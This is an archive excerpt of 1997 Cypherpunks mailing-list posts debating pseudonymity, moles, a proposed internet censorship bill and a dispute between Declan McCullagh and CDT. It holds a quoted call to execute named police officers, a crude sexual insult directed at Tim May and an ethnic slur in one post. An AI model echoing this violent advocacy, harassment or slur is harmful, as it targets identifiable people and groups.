point after so much haggling about it, is this now marginal feeling I have
that Tim's going to go piss on some cop's shoes and find himself with a 9
millimeter lobotomy one day. It, frankly, makes me feel sad. Tim's very
smart guy, and I've learned a lot from him, as I expect most people on this
list have.

All that, coupled with the "Final Days" pseudomillenial, well, literally,
FUD, that seems to pervade this list lately, finally brought me to my feet
out of lurker mode to call a spade a spade: The emperor, ladies and
gentleman, has no clothes. The sky isn't falling. The martians aren't
coming, and, face it, folks, the revolution ain't comin' at sunrise
tomorrow, romantic though it may be to believe. We aren't even going to have
Bosnia on the Bay next *week*, even if some people *do* want a little more
challenge in their lives than they're currently getting. :-). At the very
worst, all we're going to get is Tim and his local federales playing king of
the hill, probably with a resultant sinecure for a bunch of defense lawyers
and prosecutors. The irony of Tim, the putative anarchist, shooting his hard
earned asset wad on a bunch of lawyers is a sad one, to say the least.

> If
> they would only behave (i.e., go along with anything), then they
> wouldn't have to be censored.

Hogwash. What the conventional wisdom held, back in the 1790's, was a bunch
of neoaristocratic justifications for the devine rights of the state,
reminiscent of the devine rights of kings, and that George Washington, as
the victor of the revolutionary war, deserved as much power as he wanted.
(Sounds an awful lot like Napoleon, a generation later, who inherited a
similar post-revolutionary society, but one without any prior democratic
traditions.) By their logic, Adams, as his successor, was due the same power
that Washington "abdicated" when he stepped down after his second term.

Fortunately, a certain "nym" named Publius advocated the separation of
powers in the constitution, which created a supreme court, which used
Jefferson's Bill of Rights to shut all that crap down before it went too
far, modulo a little jail time for those who crash-tested the idea. Frankly,
the fact that the constitutional convention *voted* for the Bill of Rights,
or that the Continental Congress voted for the Declaration of Independence
before that, said more about the efficacy of 150 years of prexisting
decentralized personal autonomy in America than it ever did about
Jefferson's euclidean derivation of the rights of man, duly voted on and
approved in Philadelphia.

And, as I've said in another post in this thread, that's the point. The
technological conditions are right again, this time for the kind of
devolution from central authority that we had at the time of the American
revolution, but, instead of the formation of smaller nation-states, or even
Somolian clan warfare on the streets of Cupertino :-), I think that most
industrialized countries will just continue see the further replacement of
government control with economic forces. More freedom, in other words, all
because of the collapse in the price of information processing. The nation
state will become more ceremonial, not more dictatorial.

> Even though the editors were attacked and beaten, imprisoned, and
> charged with Federal crimes, they persevered.  It would not be
> unreasonable to say that Jefferson owed his Presidency to their
> efforts.  Indeed, it would not be too much to say that the
> Constitution (which failed to protect them) might not have survived
> without their efforts.

Really? Exactly how were they released then, when the Alien and Sedition
Acts were found unconstitional?

Again, I find the result more a function of the economics -- and not the
mysticism -- of freedom, than anything else. To be viciously blunt, here,
people live longer, and make more money, when they're free. That's why we
have freedom now. The cost of anything is the foregone alternative. When you
have a free society you forego misery. :-). I love progress.

> A few courageous people doing the right thing at the right time make a
> big difference.  This does not happen by kowtowing to whichever
> malfeasant tyrant happens to be in power.  When you are asked to wear
> a yellow star, you can be pretty sure that doing so will not save you.
>
> Also, let us not pretend that Tim's gun collection is much protection.
> It may delay capture or raise the price of execution of a no-knock
> warrant, but if the Powers That Be don't want Tim around, then he's
> gone.  It could be a "lone nut" with a sniper rifle, it could be a
> "heart attack", it could be a rock star's plane "accidently" hitting
> the house: there are many ways to take care of troublemakers.

Wow. Not a dry eye in the house. Here. Have a hankie, yourself.

Very eloquent, Monty, but it's still just mystical thinking.

Cheers,
Bob Hettinga

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 14 Nov 1997 21:41:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Find the Mole in the Mirror
Message-ID: <199711141333.HAA25291@dfw-ix11.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>Monty Cantsin wrote:
>>The right thing to do is to assume there are a certain number of moles
>>around and engineer your activities accordingly.  If you really think
>>you can Find The Mole, then I would think your first step is to keep
>>quiet about what you are doing.
>
>Like, if you will, Monty Cantsin, the venerable generic pseudonym for
>sub rosa strategems. You fingering yourselves, Monty?
>
>If you haven't been IDed as a mole here yet, you will, probably by
>your own woefully engineered statements.
>
>All of us are moles for one ideology or another, maybe for several if
>the blowing wind tosses us that way. What's the point of being here
>if not for relishment of deceitful faux combat, to draw out the enemy
>(enemies) as Tim and Bob admirably display in their artful allure of
>ulterior motivated peacemakers and condescendors, me for one, as
>Declan love jousts CDT, as many us pisswind DC, NWO, ZOG, Armenians,
>Nipponese.

No, I mean a real mole.  The kind that gets people killed or
imprisoned.

Actually, the nature of this particular group imposes some twists on
Find The Mole.  If this were some church group, and we tapped the
phone of a suspected mole, and all we could get is 3DES encrypted
speech, we could be pretty sure we found one.  But that doesn't work
around here.  Anytime you see somebody doing something unusual, it is
just as likely to mean it's Just Another Cypherpunk Who Is Up To
Something.

Likewise, operators of a mole will have a terrible time determining
mole loyalty.  A problem with informants is that they sometimes
discover the target group is made up of pretty reasonable people and
go native.  And since using remailers is part of the cover...

Moles can burrow in two directions.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 14 Nov 1997 21:40:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711141334.HAA25416@dfw-ix11.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <anon@anon.efga.org>
>This illustrates what a liability the poster has become to the
>cypherpunks.  The group is becoming just another militia front,
>identified with racism and white supremacy, applauding violent murder
>of government agents, one step from applauding the Oklahoma killings.
>Its original purpose all but forgotten, the list has died, poisoned
>by the hatred flowing from its leader.

What would be the most effective way of managing the problem you
perceive?

Probably by writing the kinds of articles you would like to see on the
list.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 13 Nov 1997 12:45:27 +0800
To: cypherpunks@toad.com
Subject: Re: SWAT: A Growth Industry
Message-ID: <199711130433.FAA10917@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dan Veeneman wrote:
> US News & World Report 11/17/97
> Everyone gets into the terrorism game
> BY DAVID E. KAPLAN
>
>Congress...allocated more than a billion dollars in support
...
> Even the toughest critics acknowledge that many of the new programs are
> needed.  For example, they agree that the training of local emergency
> workers to deal with a chemical or biological attack is long overdue.

  Are these guys with the same government that ignores the fact 
that the development of antibiotic-resistant *natural* diseases 
due to the greed of the medical and pharmaceutical industries may
well lead to more death and disaster than any terrorist threat?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 13 Nov 1997 12:50:46 +0800
To: cypherpunks@toad.com
Subject: Think Locally...Act Globally / Re: FTC, Canada, Mexico officials launch "health claim surf day"
Message-ID: <199711130433.FAA10952@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > ******************************************
> > FTC Launches North American Health Claim Surf Day
> > ******************************************
> > by Michael Evers
...
> > The Federal Trade Commission (FTC), its federal and state law
> > enforcement  partners, and public health and consumer protection
> > agencies from Mexico  and Canada are sending you (and hundreds of other
> > Internet advertisers)  this message based upon a review of the promotion
> > you disseminated through  the Internet.

  How about if you are selling something on your web site and giving
pointers to information/advertisements located on a foreign website?
  Let me guess...hhmmm...disabled grandmothers who are selling their
home-grown chamoemille tea will have their homes confiscated, and
corporations with expensive lawyers will be approved for an exemption
on some flimsy grounds.

  Anybody know of any Mexican laws I can break by putting something
illegal there, but legal in Canada, on my web site?
  Any CypherSpics who would like to put up a "Canadian Hate" page
that I could link to?

CyhperCanuck






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Thu, 13 Nov 1997 14:18:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <1f6c13f75e895afd9ec8f5d61ed19ff9@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>Meaning of course, when Patrick Henry... --- Oops, Thomas Paine, sorry,
>transposed my patriots there -- first stood up to be counted, he did it with
>a pseudonym.

Think how difficult it must have been to publish a pseudonymous writing back
in their day.  And compare how easy it is now.  With a basic Internet
connection and some software I can post this message under the name Nerthus,
and anyone who took the time to save my public key in their keyring can
verify with almost complete certainty that "Nerthus" wrote this.

But as we progress on some fronts, we digress on others.  The tools which
can empower the individual are readily available, but the individual is
quickly becoming an automaton, a shell of the man he used to be.

"I know not what course others may take; but as for me, give me liberty, 
or give me death." -- Patrick Henry

What is life without liberty?  Abject slavery.  Any sane man would rather
die than be a slave.  But what is this slavery?

It is the state in which we live our lives.  More often than not, our
oppressors are our own selves: our fears, our imaginings, our hatred.

Everyone does this: the "right-wing-gun-nut" who detests the actions of
the BATF, the Christian zealot who detests the pro-abortion crusaders/
Zoroastrians/creationists/NWO types, the IRS agent who detests the "tax
protestors", the treehugger who detests the corporate greed/profit
machine that is destroying the planet... I could go on but I think you
get my point.

Injustice happens everyday.  The next time you find yourself at Burger
King stuffing yourself with greasy slop, think of the millions of people
in Africa who are slowly starving to death.  Injustice, yes, but what
are you going to do about it?  Anything?

The fact is you can't do anything, even if you wanted to.  And because
of that we all become reactionary, angered, resentful, violent.  We
perpetuate the disintegration of mankind, of ourselves.

No people in their right mind should bow down and lick the boots of their
oppressors.  But neither should they kill them either.  The intelligent
action is to show the oppressors the errors in their ways.  Every human 
being, even our "enemies" have a mind that is not completely devoid of
reason.  The sooner we show them a better way of living, the sooner we can 
move toward it.  Then the possibility for an end to the injustices that
surround us becomes more available.

I leave you with a quote to ponder:

"My country is the world, and my religion is to do good."

Any idea who the pinko-liberal, NWO cocksucker was that said this?

It was Thomas Paine in his book "Rights of Man".

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 13 Nov 1997 13:14:49 +0800
To: cypherpunks@Algebra.COM
Subject: CDA: The Sequel -- introduced in the U.S. Senate
Message-ID: <199711130505.GAA14379@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Just when you thought the Internet was safe from government
>censorship, Sen. Dan Coats has introduced a sequel to the
>notorious Communications Decency Act.

Oh joy.

>The bill punishes commercial distributors of material
>that's "harmful to minors" with six months in jail and a
>$50,000 fine. Unlike the original CDA, it applies only to
>web sites -- not to chatrooms, newsgroups, or email.
 ^^^^^^^^^

What defines a "web site?" "The World Wide Web" originally meant "material
accessible using the HyperText Transfer Protocol." The media and Klintonkov
distorted the term into something else, but that's what the term still
means. USENET newsgroups do not become "Internet chat groups" just because
the clueless sheeple start calling them that. Of course this is how the
government thinks.

If I make a posting to USENET did I post the material on a "web site?" If I
make the material accessible via ftp is it posted on a "web site?" What if
it's available using FSP? How about IRC? What about a Bob's Proprietary
Pornography Transfer Protocol? 

How are they going to track this? What happens when I post this material on
an Eternity server outside of the U.S.? What if I just keep posting my porn
through the remailer network? What if the porn site is in Amsterdam? What if
I just get tired of the totalitarians and double-blind the entire process
using the remailer network and while I'm at it I accept anonymous payment?
What if I bring my porn into a public computer lab and upload it somewhere
without any identification or with a psuedonym? Is the P.Q.R.T. (Pornography
Quick Response Team) going to bust through the door before I've done this,
which takes all of about 30 seconds?

What happens when people start posting such porn to sci.chem? What about
sci.crypt or alt.christnet? What about misc.legal? comp.org.eff.talk?
news.groups? 

>Like the original CDA, it's certain to be controversial.
>Sen. Coats (R-Indiana), chief GOP sponsor of the original
>CDA, said his bill takes into account the Supreme Court's
>unanimous vote in June that struck down his first try. "I
>have studied the opinion of the Court and come before my
>colleagues today to introduce legislation that reflects the
>parameters laid out by the Court's opinion," he said on the
>Senate floor.
>  (ftp://ftp.loc.gov/pub/thomas/c105/s1482.is.txt)

Is this bill available on the "World Wide Web?" I would argue that reading
this bill is "harmful to minors" because it completely ignores the
Constitution of the United States. Further, it encourages people to lie,
cheat, violate oaths of office, and generally abuse power. 

Senator Coats, what an example for America's youth!

>Coats' brainchild is strikingly similar to (and in fact not
>as broad as) an ill-fated version of the first CDA that
>Rep. Rick White (R-Wash.) and the Center for Democracy and
>Technology embraced as a "compromise" in December 1995.
>Like Coats' bill, the White-CDT measure restricted material
>that was "harmful to minors."
>  (http://www.epic.org/cda/hyde_letter.html)

>A Coats staffer said the measure requires adult
>pornographers to place images behind a firewall. "If you're
>involved in the commercial distribution of material that's
>harmful to minors, you have to take the bad stuff and put
>it on the other side of a credit card or PIN number," David
>Crane said.

What happens when they say "this material must be put behind a firewall?" Do
I comply with the letter of the law if I firewall some random port like
49554? What if I firewall everything except port 80? What if I use a
dedicated box as a network router and firewall? These things are all
"firewalls."

Who determines what is a "valid firewall?" Microsoft? A Coats staffer? A
credit card company?

What happens when these credit card numbers are sent all over the network in
the clear? As it stands now you usually send a credit card number when you
want to buy something. What they want here is for everybody to go send
credit card numbers all over the net just to view free previews and get to
text-based information. And, of course, since we have to protect society
from the Four Horsemen, these credit card numbers will likely be sent in the
clear or using encryption which can be cracked by a college student running
a distributed cracker at idle priority on each of the several hundred
machines in a lab. And getting even *one* credit card number is worth a lot.

What prevents me from setting up a bogus site which asks for credit card
numbers to view some nudie pictures I pulled off USENET or other sites and
just storing the credit card numbers? How many of these people access just
one porn site so it would be that easy to track? How can anybody prove
that's what I did? Once handing credit card numbers out is as second nature
as SSNs, all bets are off.

And what happens when Little Johnny goes and gets Daddy's credit card and
uses the number as ID? If they aren't charging, this probably won't be
showing up on an invoice. And Little Johnny has plausible deniability
anyway. What about stolen credit card numbers?

Who determines what is "material harmful to minors?" Coats? The Supreme
Court? Psychologists? Scientologists? Klitonkov? The United Nations? My
hamster? Duncan McLeod of the Clan McLeod? Who?

Well, I guess this outlaws any meaningful political discussions, discussions
of abortions, any meaningful social discussions, any meaningful discussions
about sex or romance, any discussions about the prevention of sexually
transmitted diseases, any discussions of firearms, any discussions of
hand-to-hand combat, any discussions of self defense, any discussions of
guerilla warfare, any discussions of pyrotechnics, any discussions about
chemistry, lists like BUGTRAQ where exploits are posted, et cetera ad nauseum.

All of those things might be considered "harmful to minors." Damn the
Constitution and freedom! If it saves the life of one innocent yet
incredibly stupid child then just forget about that pesky freedom thing.
After all, that's only the domain of "far right-wing nazi gun nuts and
radicals," right?

>But the bill applies to more than just visual pornography.
>Its definition of material that could hurt minors includes
>any offensive sexual "communication" or "writing" without
>redeeming value. It applies to text-only web pages -- or
>bookstores that place sample chapters on the web.

Yeah! Go Senate! Go ahead and ban any digital copies of books like 1984 (oh
the irony!), digital versions of the Christian Bible, the Torah, et cetera
ad nauseum.

>Since it covers anyone who "through the World Wide Web is
>engaged in the business of the commercial distribution of
>material that is harmful to minors," it could apply to
>Internet providers and online services as well.

How are they going to enforce this one? Mandate that sites only serve
"government certified safe" or "independantly certified safe" sites? Turn
off all phone and network access, jam all radio and sattelite communications, 
and legislate that anybody caught with a laser capable of communications or
floppy disks with files on them which might contain stegoed data will be 
summarily executed?

>The FCC and the Department of Justice would be required to
>publish on their web sites "such information as is
>necessary to inform the public of the meaning of the term
>`material that is harmful to minors.'" Solveig Singleton, a
>lawyer at the Cato Institute, says: "The Supreme Court
>struggled for years to come up with a national defintion of
>obscenity. They failed. Harmful to minors is
>obscenity-lite. The FCC and Department of Justice won't
>have any luck coming up with a definition of
>obscenity-lite."

>Not a problem, predicts former porn-prosecutor Bruce
>Taylor, now the head of the National Law Center for
>Children and Families. "This bill will ensure that the
>hardcore pornographers don't get off the hook," he says.

"This bill will ensure that our freedoms are further eroded."

>Next step for Coats is to attract co-sponsors and to forward
>his bill to the Senate Commerce committee. Some judges
>criticized Congress for holding no hearings on the original
>CDA; Coats isn't going to make that mistake again. "There
>will be a concerted effort to build a substantial
>legislative history," says David Crane.

>This bill won't be the end of Congressional interest in
>cyberporn. "You'll probably see other legislation come
>forward. Introducing this is not abandoning our other
>concerns," Crane says.

>-Declan

My fellow Cypherpunks, what we have here is best explained by an analogy
like this:

The government decides that the youth of America is corrupting themselves
and harming their health by drinking soft drinks. The Congress introduces
legislation to outlaw softdrinks. Everyone except the National Law Center
for Fruit and Vegetables and some other far flung totalitarians think that
this legislation is rediculous and an unreasonable restriction of rights. It
passes anyway. It goes to the Supreme Court and the Court shoots it down.

Two years later Congress again tries to outlaw soft drinks. Since outlawing
of soft drinks en masse was not allowed by the Supreme Court, they just
outlaw Coke. This passes. People start drinking Mountain Dew and JOLT
instead. The Justice Department brings charges against these drinkers, the
people who manufactured it, the people who sold it to them, and the truck
drivers who shipped it. It goes to court and the defendants claim that the
law wasn't broken. The State says that the law was indeed broken because
"everybody refers to soft drinks as Coke."

This, of course, begs the question of why, if "Coke" is a synonym for
"soft drinks" they passed a law after the Supreme Court clearly stated that
they couldn't do such. If "Coke" is not a synonym for "soft drink" then they
have no charge against these people. 

Welcome to the Land of the Freeh.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 13 Nov 1997 19:47:59 +0800
To: cypherpunks@toad.com
Subject: Cyclic codes
Message-ID: <f63b7db85ca7d5965e82fb174acf2ba6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timothy May's 16Kb brain's single convolution is directly 
wired to his rectum for input and his T1 mouth for output. 
That's 16K bits, not bytes. Anal intercourse has caused 
extensive brain damage.

         o_,   o
        <\__, v|> Timothy May
         |    < \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Thu, 13 Nov 1997 21:34:08 +0800
To: Declan McCullagh <fight-censorship@vorlon.mit.edu
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007800b0900374bd99@[168.161.105.216]>
Message-ID: <v03102809b0909ec791b0@[204.254.21.165]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:59 PM -0500 11/12/97, Declan McCullagh wrote:
>[Got a note from a longtime Hill observer on CDT and their "harmful to
>minors" compromise. --Declan]

Will you give this up aleady? What, exactly, are you trying to accomplish?

>>I remember a press conference, or a briefing, on the Hill in which
>>White, AOL, ISA, CDT, et. al. were promoting the measure very
>>heavily.  Jerry spoke out strongly in favor of it.

This briefing was NOT about the "white compromise", it was about the
Cox-Wyden "Internet Freedom and Family Empowerment Act" in July of 1995.
As you may recall, the Cox-Wyden bill, which passed the house 420-4,
prohibited the gvt from imposing content regulations on the Net.  CDT did
indeed strongly support the Cox-Wyden bill.

The "White Compromise" was brought together and offered at the 11th hour of
the conference committee negotiations in December of 1995.  There was never
a press conference about it. And, for the record, CDT's policy post about
the White bill can be found at http://www.cdt.org/publications/pp311204.html

>>Memories in Washington are short, and distortions are the currency of
>>the realm.

Unfortunately, so is forwarding completely false and misleading information
Declan.  This is just so foolish.

Jonah


  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Thu, 13 Nov 1997 21:43:34 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Br'er Tim and the Bug Hole
Message-ID: <2328C77FF9F2D011AE970000F84104A7493430@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Bob Hettinga wrote:
>Frankly, waving your Glock at the local sherriff and daring him to come
>shoot you out of der MayBunker is not just free speech, it's,
charitably,
>grandstanding. Making a threat on the life of a judge, or even begging
for
>Washington to be nuked -- something you can't possibly do yourself --
is in
>the same catagory of "will someone rid me of this priest",  or "but
that
>would be wrong", or the Castro assination exhortations which inspired
Oswald
>to kill JFK. In this country, it's all free speech, but that doesn't
keep
>you from getting impaled, "accidentally" or otherwise, on the pointy
end of
>the state, or public opinion, when you piss it off.

I think you are falling into the "map _is_ the territory" mistake here,
Bob.  Tim is just speaking his mind, lucidly and forcefully as usual.
(The same way you do, which is why I enjoy reading both your posts so
much, although your prose styles differ so greatly.)  Tim isn't "waving
your Glock at the local sherriff" -- he is talking about his actions if
law enforcement decides to violate the Constitution personally upon him.
Although it is certainly the case that all rights, at their boundaries,
may be observed more in the breech, I don't think the situation is so
bad _yet_ that Tim has to lay awake nights worrying about a no-knock.

Tim, I guess I see you as someone who has spotted a bunch of
thunderclouds on the horizon, so you have decided to stock up on
raingear before the deluge.  But, with a little luck and a lot of common
sense on the part of the populace, neither Tim nor anyone else will have
to go through that particular hell.  As one additional datapoint, when
our local "FAX Daily" (a daily FAXed paper) took a poll on GAK, 66% were
against government access to keys (and "FAX Daily" is aimed at the
general population).  (I have this suspicion that California is more
likely to develop "thunderclouds on the horizon" that don't turn into
local storms, due to the greater concentration of Democratic Party
members there -- Indiana, as a Republican state, certainly sees a lot of
posturing about family values and such, but with Republican
anti-government rhetoric, it is hard for Republicans to push too hard
for the massive increases of government regulation that would be
required to actually enforce family values by governmental fiat.)

Tim, from what I understand of what he said, is just getting prepared if
the worst comes.  One of the functions of this list as I see it is just
this sort of preparation, which can often stave off the actual worst.
If those who would desire this sort of power over the population are
made aware that the population won't stand for it, they are less likely
to continue to seek that level of power.


To close with a quote that I think (from my Midwest perception of the
situation) describes best how the near-term will actually work out:
"There's no way the federal government could oppress the citizens,
because
the populace is armed to the teeth, and the officials would just get
their
heads blown off."
   -- James Madison argues the pro-government position, Federalist
Papers #46
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 21:59:53 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007805b0902b2616d6@[204.254.21.105]>
Message-ID: <v03007801b090b35f2a14@[204.254.21.61]>
MIME-Version: 1.0
Content-Type: text/plain



Jonah,

Contrary to what you claim, I'm not "trying to accomplish" anything except
report the facts. (Somehow you don't seem to like them very much.) You'll
remember that when I wrote about the Coats CDA II bill, I included one
paragraph about the history of "harmful to minors" legislation:

>Coats' brainchild is strikingly similar to (and in fact not
>as broad as) an ill-fated version of the first CDA that
>Rep. Rick White (R-Wash.) and the Center for Democracy and
>Technology embraced as a "compromise" in December 1995.
>Like Coats' bill, the White-CDT measure restricted material
>that was "harmful to minors."

Then CDT responded to my article publicly, incorrectly claiming that CDT
did not embrace the harmful to minors "compromise." My post was to correct
those inaccuracies and clear the air -- and, you'll remember I concluded by
saying I hoped we could move forward to discussing Coats. You seem unable
-- or unwilling -- to do that.

So, if you insist, we'll revisit your "harmful to minors" compromise.
You're now denying that CDT's Jerry Berman stood up with Rick White and
Bruce "CDA" Taylor in a House hearing room to announce the "compromise?"
You're arguing that the three press reports I forwarded about CDT
supporting the "compromise" are inaccurate?

-Declan


At 08:21 -0400 11/13/97, Jonah Seiger wrote:
>At 10:59 PM -0500 11/12/97, Declan McCullagh wrote:
>>[Got a note from a longtime Hill observer on CDT and their "harmful to
>>minors" compromise. --Declan]
>
>Will you give this up aleady? What, exactly, are you trying to accomplish?
>
>>>I remember a press conference, or a briefing, on the Hill in which
>>>White, AOL, ISA, CDT, et. al. were promoting the measure very
>>>heavily.  Jerry spoke out strongly in favor of it.
>
>This briefing was NOT about the "white compromise", it was about the
>Cox-Wyden "Internet Freedom and Family Empowerment Act" in July of 1995.
>As you may recall, the Cox-Wyden bill, which passed the house 420-4,
>prohibited the gvt from imposing content regulations on the Net.  CDT did
>indeed strongly support the Cox-Wyden bill.
>
>The "White Compromise" was brought together and offered at the 11th hour of
>the conference committee negotiations in December of 1995.  There was never
>a press conference about it. And, for the record, CDT's policy post about
>the White bill can be found at http://www.cdt.org/publications/pp311204.html
>
>>>Memories in Washington are short, and distortions are the currency of
>>>the realm.
>
>Unfortunately, so is forwarding completely false and misleading information
>Declan.  This is just so foolish.
>
>Jonah
>
>
>  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
>            Adopt Your Legislator -  http://www.crypto.com/adopt
>
>--
>Jonah Seiger, Communications Director                  (v) +1.202.637.9800
>Center for Democracy and Technology                 pager: +1.202.859.2151
><jseiger@cdt.org>
>
>http://www.cdt.org                                      PGP Key via finger
>http://www.cdt.org/homes/jseiger/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 13 Nov 1997 22:57:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: cypherpunks - passing mention [FYI] [sci-fi]
Message-ID: <199711131457.IAA12033@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Informational/Entertainment content only:


Minimal crypto relevance but in Allen Steele's book Tranquillity Alternative
(ISBN 0-441-00433-4) which concerns a alternate-history of the space program
there is mention of 'cypherpunks' made in reference to cracking double-key
encrypted passwords on Le Matrix.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 00:20:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mad as Hell
In-Reply-To: <v03102801b08ffcdcfb0f@[207.167.93.63]>
Message-ID: <v04002726b090ae3684e1@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:56 pm -0500 on 11/12/97, Tim May wrote:


> No doubt Bob Hettinga thinks my mention of this case is dangerous, that
> good little bunny rabbits don't make Big Brother angry.

:-). Actually, Tim, I don't think it's dangerous, at least to me
personally, and to anyone else on this list, for that matter. What I said
was, you're counterproductive to your own cause (you could become a poster
for statism, as I said before), and, if you continued to directly threaten
the lives of people who had the power to hurt you, in public, with direct
attribution including your name, location, and email address, you,
personally, could wind up waking up very surprised one night, consitutional
free speech guarantee or no. Which would be a drag, because, as Monty and
everyone else here knows, you are the backbone of this list. :-). You've
taught all of us a lot over the years, but, frankly, this stuff lately
makes you look like you've lost it.


> Well, I will say
> what I said before: the BATF and LA County Sheriffs responsible and
> involved in this case should be tried in a criminal court, should be
> convicted (based on what I have seen), and they should then be sentenced to
> die in the gas chamber at San Quentin. This is, after all, what they do to
> gang bangers who shoot up liquor stores. Cops should face execution. In
> this case, a mass execution of the dozen raiding officers would send a
> strong message to other cops.)

Though containing a little more due process in it than normal, :-), the
above is mostly the same as all the other public threats you've made
against people who whave many more guns than you do.

Frankly, I agree with what you're saying, to the extent that people who
make armed assaults against innocent people shouldn't get away with it.
And, further, I think that as more people speak out against it, with more
fact and less hysteria than you do, those making armed assaults won't do it
anymore. Heck, if people kept just more firearms in their homes, and shot
back occasionally, those armed assaults would stop. However, that's quite
different from what you're doing, which is more along the lines of "come
and get me, Copper". Top o' the morning, and all that.

Oh well. It's free country. Even hysteria's alright, I suppose, if you want
die for it by using your true name to do it. And, frankly, Tim, who's to
begrudge you your spot on the Brokaw show. You being Mad as Hell, and all
that. I mean, sure: "Tim May. John Brown. Same thing.", right?

I just don't think the apacolypse is coming on January 1, 2001, much less
this Thanksgiving, is all.

The sky is not falling. I agree with Gibbon, below. As attractive as the
conclusion is sometimes, the end of the world has yet to actually happen.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Thu, 13 Nov 1997 22:18:25 +0800
To: Tim May <tcmay@got.net>
Subject: Re: about RC4
In-Reply-To: <v03102800b0903be209fb@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971113090618.8672D-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



> (And they wonder why we kicked Japan's butt.)

Because they couldn't speak a non-native language perfectly?

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
